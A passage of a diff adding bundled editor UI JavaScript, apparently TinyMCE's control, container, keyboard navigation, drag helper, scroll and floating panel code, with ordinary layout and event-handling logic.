+        while (parent$$1 && parent$$1 !== rootElm && parent$$1.nodeType) {
+          x += parent$$1.offsetLeft || 0;
+          y += parent$$1.offsetTop || 0;
+          parent$$1 = parent$$1.offsetParent;
+        }
+        return {
+          x: x,
+          y: y
+        };
+      }
+      var elm = this.getEl(), parentElm = elm.parentNode;
+      var x, y, width, height, parentWidth, parentHeight;
+      var pos = getOffset(elm, parentElm);
+      x = pos.x;
+      y = pos.y;
+      width = elm.offsetWidth;
+      height = elm.offsetHeight;
+      parentWidth = parentElm.clientWidth;
+      parentHeight = parentElm.clientHeight;
+      if (align === 'end') {
+        x -= parentWidth - width;
+        y -= parentHeight - height;
+      } else if (align === 'center') {
+        x -= parentWidth / 2 - width / 2;
+        y -= parentHeight / 2 - height / 2;
+      }
+      parentElm.scrollLeft = x;
+      parentElm.scrollTop = y;
+      return this;
+    },
+    getRoot: function () {
+      var ctrl = this, rootControl;
+      var parents = [];
+      while (ctrl) {
+        if (ctrl.rootControl) {
+          rootControl = ctrl.rootControl;
+          break;
+        }
+        parents.push(ctrl);
+        rootControl = ctrl;
+        ctrl = ctrl.parent();
+      }
+      if (!rootControl) {
+        rootControl = this;
+      }
+      var i = parents.length;
+      while (i--) {
+        parents[i].rootControl = rootControl;
+      }
+      return rootControl;
+    },
+    reflow: function () {
+      $_p42hyuxjjgwefrk.remove(this);
+      var parent$$1 = this.parent();
+      if (parent$$1 && parent$$1._layout && !parent$$1._layout.isNative()) {
+        parent$$1.reflow();
+      }
+      return this;
+    }
+  };
+  global$2.each('text title visible disabled active value'.split(' '), function (name$$1) {
+    proto$1[name$$1] = function (value) {
+      if (arguments.length === 0) {
+        return this.state.get(name$$1);
+      }
+      if (typeof value !== 'undefined') {
+        this.state.set(name$$1, value);
+      }
+      return this;
+    };
+  });
+  Control = global$10.extend(proto$1);
+  function getEventDispatcher(obj) {
+    if (!obj._eventDispatcher) {
+      obj._eventDispatcher = new global$11({
+        scope: obj,
+        toggleEvent: function (name$$1, state) {
+          if (state && global$11.isNative(name$$1)) {
+            if (!obj._nativeEvents) {
+              obj._nativeEvents = {};
+            }
+            obj._nativeEvents[name$$1] = true;
+            if (obj.state.get('rendered')) {
+              bindPendingEvents(obj);
+            }
+          }
+        }
+      });
+    }
+    return obj._eventDispatcher;
+  }
+  function bindPendingEvents(eventCtrl) {
+    var i, l, parents, eventRootCtrl, nativeEvents, name$$1;
+    function delegate(e) {
+      var control = eventCtrl.getParentCtrl(e.target);
+      if (control) {
+        control.fire(e.type, e);
+      }
+    }
+    function mouseLeaveHandler() {
+      var ctrl = eventRootCtrl._lastHoverCtrl;
+      if (ctrl) {
+        ctrl.fire('mouseleave', { target: ctrl.getEl() });
+        ctrl.parents().each(function (ctrl) {
+          ctrl.fire('mouseleave', { target: ctrl.getEl() });
+        });
+        eventRootCtrl._lastHoverCtrl = null;
+      }
+    }
+    function mouseEnterHandler(e) {
+      var ctrl = eventCtrl.getParentCtrl(e.target), lastCtrl = eventRootCtrl._lastHoverCtrl, idx = 0, i, parents, lastParents;
+      if (ctrl !== lastCtrl) {
+        eventRootCtrl._lastHoverCtrl = ctrl;
+        parents = ctrl.parents().toArray().reverse();
+        parents.push(ctrl);
+        if (lastCtrl) {
+          lastParents = lastCtrl.parents().toArray().reverse();
+          lastParents.push(lastCtrl);
+          for (idx = 0; idx < lastParents.length; idx++) {
+            if (parents[idx] !== lastParents[idx]) {
+              break;
+            }
+          }
+          for (i = lastParents.length - 1; i >= idx; i--) {
+            lastCtrl = lastParents[i];
+            lastCtrl.fire('mouseleave', { target: lastCtrl.getEl() });
+          }
+        }
+        for (i = idx; i < parents.length; i++) {
+          ctrl = parents[i];
+          ctrl.fire('mouseenter', { target: ctrl.getEl() });
+        }
+      }
+    }
+    function fixWheelEvent(e) {
+      e.preventDefault();
+      if (e.type === 'mousewheel') {
+        e.deltaY = -1 / 40 * e.wheelDelta;
+        if (e.wheelDeltaX) {
+          e.deltaX = -1 / 40 * e.wheelDeltaX;
+        }
+      } else {
+        e.deltaX = 0;
+        e.deltaY = e.detail;
+      }
+      e = eventCtrl.fire('wheel', e);
+    }
+    nativeEvents = eventCtrl._nativeEvents;
+    if (nativeEvents) {
+      parents = eventCtrl.parents().toArray();
+      parents.unshift(eventCtrl);
+      for (i = 0, l = parents.length; !eventRootCtrl && i < l; i++) {
+        eventRootCtrl = parents[i]._eventsRoot;
+      }
+      if (!eventRootCtrl) {
+        eventRootCtrl = parents[parents.length - 1] || eventCtrl;
+      }
+      eventCtrl._eventsRoot = eventRootCtrl;
+      for (l = i, i = 0; i < l; i++) {
+        parents[i]._eventsRoot = eventRootCtrl;
+      }
+      var eventRootDelegates = eventRootCtrl._delegates;
+      if (!eventRootDelegates) {
+        eventRootDelegates = eventRootCtrl._delegates = {};
+      }
+      for (name$$1 in nativeEvents) {
+        if (!nativeEvents) {
+          return false;
+        }
+        if (name$$1 === 'wheel' && !hasWheelEventSupport) {
+          if (hasMouseWheelEventSupport) {
+            global$9(eventCtrl.getEl()).on('mousewheel', fixWheelEvent);
+          } else {
+            global$9(eventCtrl.getEl()).on('DOMMouseScroll', fixWheelEvent);
+          }
+          continue;
+        }
+        if (name$$1 === 'mouseenter' || name$$1 === 'mouseleave') {
+          if (!eventRootCtrl._hasMouseEnter) {
+            global$9(eventRootCtrl.getEl()).on('mouseleave', mouseLeaveHandler).on('mouseover', mouseEnterHandler);
+            eventRootCtrl._hasMouseEnter = 1;
+          }
+        } else if (!eventRootDelegates[name$$1]) {
+          global$9(eventRootCtrl.getEl()).on(name$$1, delegate);
+          eventRootDelegates[name$$1] = true;
+        }
+        nativeEvents[name$$1] = false;
+      }
+    }
+  }
+  var Control$1 = Control;
+
+  var hasTabstopData = function (elm) {
+    return elm.getAttribute('data-mce-tabstop') ? true : false;
+  };
+  function KeyboardNavigation (settings) {
+    var root = settings.root;
+    var focusedElement, focusedControl;
+    function isElement(node) {
+      return node && node.nodeType === 1;
+    }
+    try {
+      focusedElement = document.activeElement;
+    } catch (ex) {
+      focusedElement = document.body;
+    }
+    focusedControl = root.getParentCtrl(focusedElement);
+    function getRole(elm) {
+      elm = elm || focusedElement;
+      if (isElement(elm)) {
+        return elm.getAttribute('role');
+      }
+      return null;
+    }
+    function getParentRole(elm) {
+      var role, parent$$1 = elm || focusedElement;
+      while (parent$$1 = parent$$1.parentNode) {
+        if (role = getRole(parent$$1)) {
+          return role;
+        }
+      }
+    }
+    function getAriaProp(name$$1) {
+      var elm = focusedElement;
+      if (isElement(elm)) {
+        return elm.getAttribute('aria-' + name$$1);
+      }
+    }
+    function isTextInputElement(elm) {
+      var tagName = elm.tagName.toUpperCase();
+      return tagName === 'INPUT' || tagName === 'TEXTAREA' || tagName === 'SELECT';
+    }
+    function canFocus(elm) {
+      if (isTextInputElement(elm) && !elm.hidden) {
+        return true;
+      }
+      if (hasTabstopData(elm)) {
+        return true;
+      }
+      if (/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(getRole(elm))) {
+        return true;
+      }
+      return false;
+    }
+    function getFocusElements(elm) {
+      var elements = [];
+      function collect(elm) {
+        if (elm.nodeType !== 1 || elm.style.display === 'none' || elm.disabled) {
+          return;
+        }
+        if (canFocus(elm)) {
+          elements.push(elm);
+        }
+        for (var i = 0; i < elm.childNodes.length; i++) {
+          collect(elm.childNodes[i]);
+        }
+      }
+      collect(elm || root.getEl());
+      return elements;
+    }
+    function getNavigationRoot(targetControl) {
+      var navigationRoot, controls;
+      targetControl = targetControl || focusedControl;
+      controls = targetControl.parents().toArray();
+      controls.unshift(targetControl);
+      for (var i = 0; i < controls.length; i++) {
+        navigationRoot = controls[i];
+        if (navigationRoot.settings.ariaRoot) {
+          break;
+        }
+      }
+      return navigationRoot;
+    }
+    function focusFirst(targetControl) {
+      var navigationRoot = getNavigationRoot(targetControl);
+      var focusElements = getFocusElements(navigationRoot.getEl());
+      if (navigationRoot.settings.ariaRemember && 'lastAriaIndex' in navigationRoot) {
+        moveFocusToIndex(navigationRoot.lastAriaIndex, focusElements);
+      } else {
+        moveFocusToIndex(0, focusElements);
+      }
+    }
+    function moveFocusToIndex(idx, elements) {
+      if (idx < 0) {
+        idx = elements.length - 1;
+      } else if (idx >= elements.length) {
+        idx = 0;
+      }
+      if (elements[idx]) {
+        elements[idx].focus();
+      }
+      return idx;
+    }
+    function moveFocus(dir, elements) {
+      var idx = -1;
+      var navigationRoot = getNavigationRoot();
+      elements = elements || getFocusElements(navigationRoot.getEl());
+      for (var i = 0; i < elements.length; i++) {
+        if (elements[i] === focusedElement) {
+          idx = i;
+        }
+      }
+      idx += dir;
+      navigationRoot.lastAriaIndex = moveFocusToIndex(idx, elements);
+    }
+    function left() {
+      var parentRole = getParentRole();
+      if (parentRole === 'tablist') {
+        moveFocus(-1, getFocusElements(focusedElement.parentNode));
+      } else if (focusedControl.parent().submenu) {
+        cancel();
+      } else {
+        moveFocus(-1);
+      }
+    }
+    function right() {
+      var role = getRole(), parentRole = getParentRole();
+      if (parentRole === 'tablist') {
+        moveFocus(1, getFocusElements(focusedElement.parentNode));
+      } else if (role === 'menuitem' && parentRole === 'menu' && getAriaProp('haspopup')) {
+        enter();
+      } else {
+        moveFocus(1);
+      }
+    }
+    function up() {
+      moveFocus(-1);
+    }
+    function down() {
+      var role = getRole(), parentRole = getParentRole();
+      if (role === 'menuitem' && parentRole === 'menubar') {
+        enter();
+      } else if (role === 'button' && getAriaProp('haspopup')) {
+        enter({ key: 'down' });
+      } else {
+        moveFocus(1);
+      }
+    }
+    function tab(e) {
+      var parentRole = getParentRole();
+      if (parentRole === 'tablist') {
+        var elm = getFocusElements(focusedControl.getEl('body'))[0];
+        if (elm) {
+          elm.focus();
+        }
+      } else {
+        moveFocus(e.shiftKey ? -1 : 1);
+      }
+    }
+    function cancel() {
+      focusedControl.fire('cancel');
+    }
+    function enter(aria) {
+      aria = aria || {};
+      focusedControl.fire('click', {
+        target: focusedElement,
+        aria: aria
+      });
+    }
+    root.on('keydown', function (e) {
+      function handleNonTabOrEscEvent(e, handler) {
+        if (isTextInputElement(focusedElement) || hasTabstopData(focusedElement)) {
+          return;
+        }
+        if (getRole(focusedElement) === 'slider') {
+          return;
+        }
+        if (handler(e) !== false) {
+          e.preventDefault();
+        }
+      }
+      if (e.isDefaultPrevented()) {
+        return;
+      }
+      switch (e.keyCode) {
+      case 37:
+        handleNonTabOrEscEvent(e, left);
+        break;
+      case 39:
+        handleNonTabOrEscEvent(e, right);
+        break;
+      case 38:
+        handleNonTabOrEscEvent(e, up);
+        break;
+      case 40:
+        handleNonTabOrEscEvent(e, down);
+        break;
+      case 27:
+        cancel();
+        break;
+      case 14:
+      case 13:
+      case 32:
+        handleNonTabOrEscEvent(e, enter);
+        break;
+      case 9:
+        tab(e);
+        e.preventDefault();
+        break;
+      }
+    });
+    root.on('focusin', function (e) {
+      focusedElement = e.target;
+      focusedControl = e.control;
+    });
+    return { focusFirst: focusFirst };
+  }
+
+  var selectorCache = {};
+  var Container = Control$1.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      settings = self.settings;
+      if (settings.fixed) {
+        self.state.set('fixed', true);
+      }
+      self._items = new Collection$2();
+      if (self.isRtl()) {
+        self.classes.add('rtl');
+      }
+      self.bodyClasses = new ClassList(function () {
+        if (self.state.get('rendered')) {
+          self.getEl('body').className = this.toString();
+        }
+      });
+      self.bodyClasses.prefix = self.classPrefix;
+      self.classes.add('container');
+      self.bodyClasses.add('container-body');
+      if (settings.containerCls) {
+        self.classes.add(settings.containerCls);
+      }
+      self._layout = global$4.create((settings.layout || '') + 'layout');
+      if (self.settings.items) {
+        self.add(self.settings.items);
+      } else {
+        self.add(self.render());
+      }
+      self._hasBody = true;
+    },
+    items: function () {
+      return this._items;
+    },
+    find: function (selector) {
+      selector = selectorCache[selector] = selectorCache[selector] || new Selector(selector);
+      return selector.find(this);
+    },
+    add: function (items) {
+      var self = this;
+      self.items().add(self.create(items)).parent(self);
+      return self;
+    },
+    focus: function (keyboard) {
+      var self = this;
+      var focusCtrl, keyboardNav, items;
+      if (keyboard) {
+        keyboardNav = self.keyboardNav || self.parents().eq(-1)[0].keyboardNav;
+        if (keyboardNav) {
+          keyboardNav.focusFirst(self);
+          return;
+        }
+      }
+      items = self.find('*');
+      if (self.statusbar) {
+        items.add(self.statusbar.items());
+      }
+      items.each(function (ctrl) {
+        if (ctrl.settings.autofocus) {
+          focusCtrl = null;
+          return false;
+        }
+        if (ctrl.canFocus) {
+          focusCtrl = focusCtrl || ctrl;
+        }
+      });
+      if (focusCtrl) {
+        focusCtrl.focus();
+      }
+      return self;
+    },
+    replace: function (oldItem, newItem) {
+      var ctrlElm;
+      var items = this.items();
+      var i = items.length;
+      while (i--) {
+        if (items[i] === oldItem) {
+          items[i] = newItem;
+          break;
+        }
+      }
+      if (i >= 0) {
+        ctrlElm = newItem.getEl();
+        if (ctrlElm) {
+          ctrlElm.parentNode.removeChild(ctrlElm);
+        }
+        ctrlElm = oldItem.getEl();
+        if (ctrlElm) {
+          ctrlElm.parentNode.removeChild(ctrlElm);
+        }
+      }
+      newItem.parent(this);
+    },
+    create: function (items) {
+      var self = this;
+      var settings;
+      var ctrlItems = [];
+      if (!global$2.isArray(items)) {
+        items = [items];
+      }
+      global$2.each(items, function (item) {
+        if (item) {
+          if (!(item instanceof Control$1)) {
+            if (typeof item === 'string') {
+              item = { type: item };
+            }
+            settings = global$2.extend({}, self.settings.defaults, item);
+            item.type = settings.type = settings.type || item.type || self.settings.defaultType || (settings.defaults ? settings.defaults.type : null);
+            item = global$4.create(settings);
+          }
+          ctrlItems.push(item);
+        }
+      });
+      return ctrlItems;
+    },
+    renderNew: function () {
+      var self = this;
+      self.items().each(function (ctrl, index) {
+        var containerElm;
+        ctrl.parent(self);
+        if (!ctrl.state.get('rendered')) {
+          containerElm = self.getEl('body');
+          if (containerElm.hasChildNodes() && index <= containerElm.childNodes.length - 1) {
+            global$9(containerElm.childNodes[index]).before(ctrl.renderHtml());
+          } else {
+            global$9(containerElm).append(ctrl.renderHtml());
+          }
+          ctrl.postRender();
+          $_p42hyuxjjgwefrk.add(ctrl);
+        }
+      });
+      self._layout.applyClasses(self.items().filter(':visible'));
+      self._lastRect = null;
+      return self;
+    },
+    append: function (items) {
+      return this.add(items).renderNew();
+    },
+    prepend: function (items) {
+      var self = this;
+      self.items().set(self.create(items).concat(self.items().toArray()));
+      return self.renderNew();
+    },
+    insert: function (items, index, before) {
+      var self = this;
+      var curItems, beforeItems, afterItems;
+      items = self.create(items);
+      curItems = self.items();
+      if (!before && index < curItems.length - 1) {
+        index += 1;
+      }
+      if (index >= 0 && index < curItems.length) {
+        beforeItems = curItems.slice(0, index).toArray();
+        afterItems = curItems.slice(index).toArray();
+        curItems.set(beforeItems.concat(items, afterItems));
+      }
+      return self.renderNew();
+    },
+    fromJSON: function (data) {
+      var self = this;
+      for (var name in data) {
+        self.find('#' + name).value(data[name]);
+      }
+      return self;
+    },
+    toJSON: function () {
+      var self = this, data = {};
+      self.find('*').each(function (ctrl) {
+        var name = ctrl.name(), value = ctrl.value();
+        if (name && typeof value !== 'undefined') {
+          data[name] = value;
+        }
+      });
+      return data;
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout, role = this.settings.role;
+      self.preRender();
+      layout.preRender(self);
+      return '<div id="' + self._id + '" class="' + self.classes + '"' + (role ? ' role="' + this.settings.role + '"' : '') + '>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      var box;
+      self.items().exec('postRender');
+      self._super();
+      self._layout.postRender(self);
+      self.state.set('rendered', true);
+      if (self.settings.style) {
+        self.$el.css(self.settings.style);
+      }
+      if (self.settings.border) {
+        box = self.borderBox;
+        self.$el.css({
+          'border-top-width': box.top,
+          'border-right-width': box.right,
+          'border-bottom-width': box.bottom,
+          'border-left-width': box.left
+        });
+      }
+      if (!self.parent()) {
+        self.keyboardNav = KeyboardNavigation({ root: self });
+      }
+      return self;
+    },
+    initLayoutRect: function () {
+      var self = this, layoutRect = self._super();
+      self._layout.recalc(self);
+      return layoutRect;
+    },
+    recalc: function () {
+      var self = this;
+      var rect = self._layoutRect;
+      var lastRect = self._lastRect;
+      if (!lastRect || lastRect.w !== rect.w || lastRect.h !== rect.h) {
+        self._layout.recalc(self);
+        rect = self.layoutRect();
+        self._lastRect = {
+          x: rect.x,
+          y: rect.y,
+          w: rect.w,
+          h: rect.h
+        };
+        return true;
+      }
+    },
+    reflow: function () {
+      var i;
+      $_p42hyuxjjgwefrk.remove(this);
+      if (this.visible()) {
+        Control$1.repaintControls = [];
+        Control$1.repaintControls.map = {};
+        this.recalc();
+        i = Control$1.repaintControls.length;
+        while (i--) {
+          Control$1.repaintControls[i].repaint();
+        }
+        if (this.settings.layout !== 'flow' && this.settings.layout !== 'stack') {
+          this.repaint();
+        }
+        Control$1.repaintControls = [];
+      }
+      return this;
+    }
+  });
+
+  function getDocumentSize(doc) {
+    var documentElement, body, scrollWidth, clientWidth;
+    var offsetWidth, scrollHeight, clientHeight, offsetHeight;
+    var max = Math.max;
+    documentElement = doc.documentElement;
+    body = doc.body;
+    scrollWidth = max(documentElement.scrollWidth, body.scrollWidth);
+    clientWidth = max(documentElement.clientWidth, body.clientWidth);
+    offsetWidth = max(documentElement.offsetWidth, body.offsetWidth);
+    scrollHeight = max(documentElement.scrollHeight, body.scrollHeight);
+    clientHeight = max(documentElement.clientHeight, body.clientHeight);
+    offsetHeight = max(documentElement.offsetHeight, body.offsetHeight);
+    return {
+      width: scrollWidth < offsetWidth ? clientWidth : scrollWidth,
+      height: scrollHeight < offsetHeight ? clientHeight : scrollHeight
+    };
+  }
+  function updateWithTouchData(e) {
+    var keys, i;
+    if (e.changedTouches) {
+      keys = 'screenX screenY pageX pageY clientX clientY'.split(' ');
+      for (i = 0; i < keys.length; i++) {
+        e[keys[i]] = e.changedTouches[0][keys[i]];
+      }
+    }
+  }
+  function DragHelper (id, settings) {
+    var $eventOverlay;
+    var doc = settings.document || document;
+    var downButton;
+    var start, stop$$1, drag, startX, startY;
+    settings = settings || {};
+    var handleElement = doc.getElementById(settings.handle || id);
+    start = function (e) {
+      var docSize = getDocumentSize(doc);
+      var handleElm, cursor;
+      updateWithTouchData(e);
+      e.preventDefault();
+      downButton = e.button;
+      handleElm = handleElement;
+      startX = e.screenX;
+      startY = e.screenY;
+      if (window.getComputedStyle) {
+        cursor = window.getComputedStyle(handleElm, null).getPropertyValue('cursor');
+      } else {
+        cursor = handleElm.runtimeStyle.cursor;
+      }
+      $eventOverlay = global$9('<div></div>').css({
+        position: 'absolute',
+        top: 0,
+        left: 0,
+        width: docSize.width,
+        height: docSize.height,
+        zIndex: 2147483647,
+        opacity: 0.0001,
+        cursor: cursor
+      }).appendTo(doc.body);
+      global$9(doc).on('mousemove touchmove', drag).on('mouseup touchend', stop$$1);
+      settings.start(e);
+    };
+    drag = function (e) {
+      updateWithTouchData(e);
+      if (e.button !== downButton) {
+        return stop$$1(e);
+      }
+      e.deltaX = e.screenX - startX;
+      e.deltaY = e.screenY - startY;
+      e.preventDefault();
+      settings.drag(e);
+    };
+    stop$$1 = function (e) {
+      updateWithTouchData(e);
+      global$9(doc).off('mousemove touchmove', drag).off('mouseup touchend', stop$$1);
+      $eventOverlay.remove();
+      if (settings.stop) {
+        settings.stop(e);
+      }
+    };
+    this.destroy = function () {
+      global$9(handleElement).off();
+    };
+    global$9(handleElement).on('mousedown touchstart', start);
+  }
+
+  var $_3rxloyuzjjgwefrs = {
+    init: function () {
+      var self = this;
+      self.on('repaint', self.renderScroll);
+    },
+    renderScroll: function () {
+      var self = this, margin = 2;
+      function repaintScroll() {
+        var hasScrollH, hasScrollV, bodyElm;
+        function repaintAxis(axisName, posName, sizeName, contentSizeName, hasScroll, ax) {
+          var containerElm, scrollBarElm, scrollThumbElm;
+          var containerSize, scrollSize, ratio, rect;
+          var posNameLower, sizeNameLower;
+          scrollBarElm = self.getEl('scroll' + axisName);
+          if (scrollBarElm) {
+            posNameLower = posName.toLowerCase();
+            sizeNameLower = sizeName.toLowerCase();
+            global$9(self.getEl('absend')).css(posNameLower, self.layoutRect()[contentSizeName] - 1);
+            if (!hasScroll) {
+              global$9(scrollBarElm).css('display', 'none');
+              return;
+            }
+            global$9(scrollBarElm).css('display', 'block');
+            containerElm = self.getEl('body');
+            scrollThumbElm = self.getEl('scroll' + axisName + 't');
+            containerSize = containerElm['client' + sizeName] - margin * 2;
+            containerSize -= hasScrollH && hasScrollV ? scrollBarElm['client' + ax] : 0;
+            scrollSize = containerElm['scroll' + sizeName];
+            ratio = containerSize / scrollSize;
+            rect = {};
+            rect[posNameLower] = containerElm['offset' + posName] + margin;
+            rect[sizeNameLower] = containerSize;
+            global$9(scrollBarElm).css(rect);
+            rect = {};
+            rect[posNameLower] = containerElm['scroll' + posName] * ratio;
+            rect[sizeNameLower] = containerSize * ratio;
+            global$9(scrollThumbElm).css(rect);
+          }
+        }
+        bodyElm = self.getEl('body');
+        hasScrollH = bodyElm.scrollWidth > bodyElm.clientWidth;
+        hasScrollV = bodyElm.scrollHeight > bodyElm.clientHeight;
+        repaintAxis('h', 'Left', 'Width', 'contentW', hasScrollH, 'Height');
+        repaintAxis('v', 'Top', 'Height', 'contentH', hasScrollV, 'Width');
+      }
+      function addScroll() {
+        function addScrollAxis(axisName, posName, sizeName, deltaPosName, ax) {
+          var scrollStart;
+          var axisId = self._id + '-scroll' + axisName, prefix = self.classPrefix;
+          global$9(self.getEl()).append('<div id="' + axisId + '" class="' + prefix + 'scrollbar ' + prefix + 'scrollbar-' + axisName + '">' + '<div id="' + axisId + 't" class="' + prefix + 'scrollbar-thumb"></div>' + '</div>');
+          self.draghelper = new DragHelper(axisId + 't', {
+            start: function () {
+              scrollStart = self.getEl('body')['scroll' + posName];
+              global$9('#' + axisId).addClass(prefix + 'active');
+            },
+            drag: function (e) {
+              var ratio, hasScrollH, hasScrollV, containerSize;
+              var layoutRect = self.layoutRect();
+              hasScrollH = layoutRect.contentW > layoutRect.innerW;
+              hasScrollV = layoutRect.contentH > layoutRect.innerH;
+              containerSize = self.getEl('body')['client' + sizeName] - margin * 2;
+              containerSize -= hasScrollH && hasScrollV ? self.getEl('scroll' + axisName)['client' + ax] : 0;
+              ratio = containerSize / self.getEl('body')['scroll' + sizeName];
+              self.getEl('body')['scroll' + posName] = scrollStart + e['delta' + deltaPosName] / ratio;
+            },
+            stop: function () {
+              global$9('#' + axisId).removeClass(prefix + 'active');
+            }
+          });
+        }
+        self.classes.add('scroll');
+        addScrollAxis('v', 'Top', 'Height', 'Y', 'Width');
+        addScrollAxis('h', 'Left', 'Width', 'X', 'Height');
+      }
+      if (self.settings.autoScroll) {
+        if (!self._hasScroll) {
+          self._hasScroll = true;
+          addScroll();
+          self.on('wheel', function (e) {
+            var bodyEl = self.getEl('body');
+            bodyEl.scrollLeft += (e.deltaX || 0) * 10;
+            bodyEl.scrollTop += e.deltaY * 10;
+            repaintScroll();
+          });
+          global$9(self.getEl('body')).on('scroll', repaintScroll);
+        }
+        repaintScroll();
+      }
+    }
+  };
+
+  var Panel = Container.extend({
+    Defaults: {
+      layout: 'fit',
+      containerCls: 'panel'
+    },
+    Mixins: [$_3rxloyuzjjgwefrs],
+    renderHtml: function () {
+      var self = this;
+      var layout = self._layout;
+      var innerHtml = self.settings.html;
+      self.preRender();
+      layout.preRender(self);
+      if (typeof innerHtml === 'undefined') {
+        innerHtml = '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>';
+      } else {
+        if (typeof innerHtml === 'function') {
+          innerHtml = innerHtml.call(self);
+        }
+        self._hasBody = false;
+      }
+      return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1" role="group">' + (self._preBodyHtml || '') + innerHtml + '</div>';
+    }
+  });
+
+  var $_3m7770v1jjgwefrz = {
+    resizeToContent: function () {
+      this._layoutRect.autoResize = true;
+      this._lastRect = null;
+      this.reflow();
+    },
+    resizeTo: function (w, h) {
+      if (w <= 1 || h <= 1) {
+        var rect = funcs.getWindowSize();
+        w = w <= 1 ? w * rect.w : w;
+        h = h <= 1 ? h * rect.h : h;
+      }
+      this._layoutRect.autoResize = false;
+      return this.layoutRect({
+        minW: w,
+        minH: h,
+        w: w,
+        h: h
+      }).reflow();
+    },
+    resizeBy: function (dw, dh) {
+      var self = this, rect = self.layoutRect();
+      return self.resizeTo(rect.w + dw, rect.h + dh);
+    }
+  };
+
+  var documentClickHandler;
+  var documentScrollHandler;
+  var windowResizeHandler;
+  var visiblePanels = [];
+  var zOrder = [];
+  var hasModal;
+  function isChildOf(ctrl, parent$$1) {
+    while (ctrl) {
+      if (ctrl === parent$$1) {
+        return true;
+      }
+      ctrl = ctrl.parent();
+    }
+  }
+  function skipOrHidePanels(e) {
+    var i = visiblePanels.length;
+    while (i--) {
+      var panel = visiblePanels[i], clickCtrl = panel.getParentCtrl(e.target);
+      if (panel.settings.autohide) {
+        if (clickCtrl) {
+          if (isChildOf(clickCtrl, panel) || panel.parent() === clickCtrl) {
+            continue;
+          }
+        }
+        e = panel.fire('autohide', { target: e.target });
+        if (!e.isDefaultPrevented()) {
+          panel.hide();
+        }
+      }
+    }
+  }
+  function bindDocumentClickHandler() {
+    if (!documentClickHandler) {
+      documentClickHandler = function (e) {
+        if (e.button === 2) {
+          return;
+        }
+        skipOrHidePanels(e);
+      };
+      global$9(document).on('click touchstart', documentClickHandler);
+    }
+  }
+  function bindDocumentScrollHandler() {
+    if (!documentScrollHandler) {
+      documentScrollHandler = function () {
+        var i;
+        i = visiblePanels.length;
+        while (i--) {
+          repositionPanel(visiblePanels[i]);
+        }
+      };
+      global$9(window).on('scroll', documentScrollHandler);
+    }
+  }
+  function bindWindowResizeHandler() {
+    if (!windowResizeHandler) {
+      var docElm_1 = document.documentElement;
+      var clientWidth_1 = docElm_1.clientWidth, clientHeight_1 = docElm_1.clientHeight;
+      windowResizeHandler = function () {
+        if (!document.all || clientWidth_1 !== docElm_1.clientWidth || clientHeight_1 !== docElm_1.clientHeight) {
+          clientWidth_1 = docElm_1.clientWidth;
+          clientHeight_1 = docElm_1.clientHeight;
+          FloatPanel.hideAll();
+        }
+      };
+      global$9(window).on('resize', windowResizeHandler);
+    }
+  }
+  function repositionPanel(panel) {
+    var scrollY$$1 = funcs.getViewPort().y;
+    function toggleFixedChildPanels(fixed, deltaY) {
+      var parent$$1;
+      for (var i = 0; i < visiblePanels.length; i++) {
+        if (visiblePanels[i] !== panel) {
+          parent$$1 = visiblePanels[i].parent();
+          while (parent$$1 && (parent$$1 = parent$$1.parent())) {
+            if (parent$$1 === panel) {
+              visiblePanels[i].fixed(fixed).moveBy(0, deltaY).repaint();
+            }
+          }
+        }
+      }
+    }
+    if (panel.settings.autofix) {
+      if (!panel.state.get('fixed')) {
+        panel._autoFixY = panel.layoutRect().y;
+        if (panel._autoFixY < scrollY$$1) {
+          panel.fixed(true).layoutRect({ y: 0 }).repaint();
+          toggleFixedChildPanels(true, scrollY$$1 - panel._autoFixY);
+        }
+      } else {
+        if (panel._autoFixY > scrollY$$1) {
+          panel.fixed(false).layoutRect({ y: panel._autoFixY }).repaint();
+          toggleFixedChildPanels(false, panel._autoFixY - scrollY$$1);
+        }
+      }
+    }
+  }
+  function addRemove(add, ctrl) {
+    var i, zIndex = FloatPanel.zIndex || 65535, topModal;
+    if (add) {
+      zOrder.push(ctrl);
+    } else {
+      i = zOrder.length;
+      while (i--) {
+        if (zOrder[i] === ctrl) {
+          zOrder.splice(i, 1);
+        }
+      }
+    }
+    if (zOrder.length) {
+      for (i = 0; i < zOrder.length; i++) {
+        if (zOrder[i].modal) {
+          zIndex++;
+          topModal = zOrder[i];
+        }
+        zOrder[i].getEl().style.zIndex = zIndex;
+        zOrder[i].zIndex = zIndex;
+        zIndex++;
+      }
+    }
+    var modalBlockEl = global$9('#' + ctrl.classPrefix + 'modal-block', ctrl.getContainerElm())[0];
+    if (topModal) {
+      global$9(modalBlockEl).css('z-index', topModal.zIndex - 1);
+    } else if (modalBlockEl) {
+      modalBlockEl.parentNode.removeChild(modalBlockEl);
+      hasModal = false;
+    }
+    FloatPanel.currentZIndex = zIndex;
+  }
+  var FloatPanel = Panel.extend({
+    Mixins: [
+      $_3fnh5iukjjgwefpt,
+      $_3m7770v1jjgwefrz
+    ],
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      self$$1._eventsRoot = self$$1;
+      self$$1.classes.add('floatpanel');
+      if (settings.autohide) {
+        bindDocumentClickHandler();
+        bindWindowResizeHandler();
+        visiblePanels.push(self$$1);
+      }
+      if (settings.autofix) {
+        bindDocumentScrollHandler();
+        self$$1.on('move', function () {
+          repositionPanel(this);
+        });
+      }
+      self$$1.on('postrender show', function (e) {
+        if (e.control === self$$1) {
+          var $modalBlockEl_1;
+          var prefix_1 = self$$1.classPrefix;
+          if (self$$1.modal && !hasModal) {
+            $modalBlockEl_1 = global$9('#' + prefix_1 + 'modal-block', self$$1.getContainerElm());
+            if (!$modalBlockEl_1[0]) {
+              $modalBlockEl_1 = global$9('<div id="' + prefix_1 + 'modal-block" class="' + prefix_1 + 'reset ' + prefix_1 + 'fade"></div>').appendTo(self$$1.getContainerElm());
+            }
+            global$7.setTimeout(function () {
+              $modalBlockEl_1.addClass(prefix_1 + 'in');
+              global$9(self$$1.getEl()).addClass(prefix_1 + 'in');
+            });
+            hasModal = true;
+          }
+          addRemove(true, self$$1);
+        }
+      });
+      self$$1.on('show', function () {
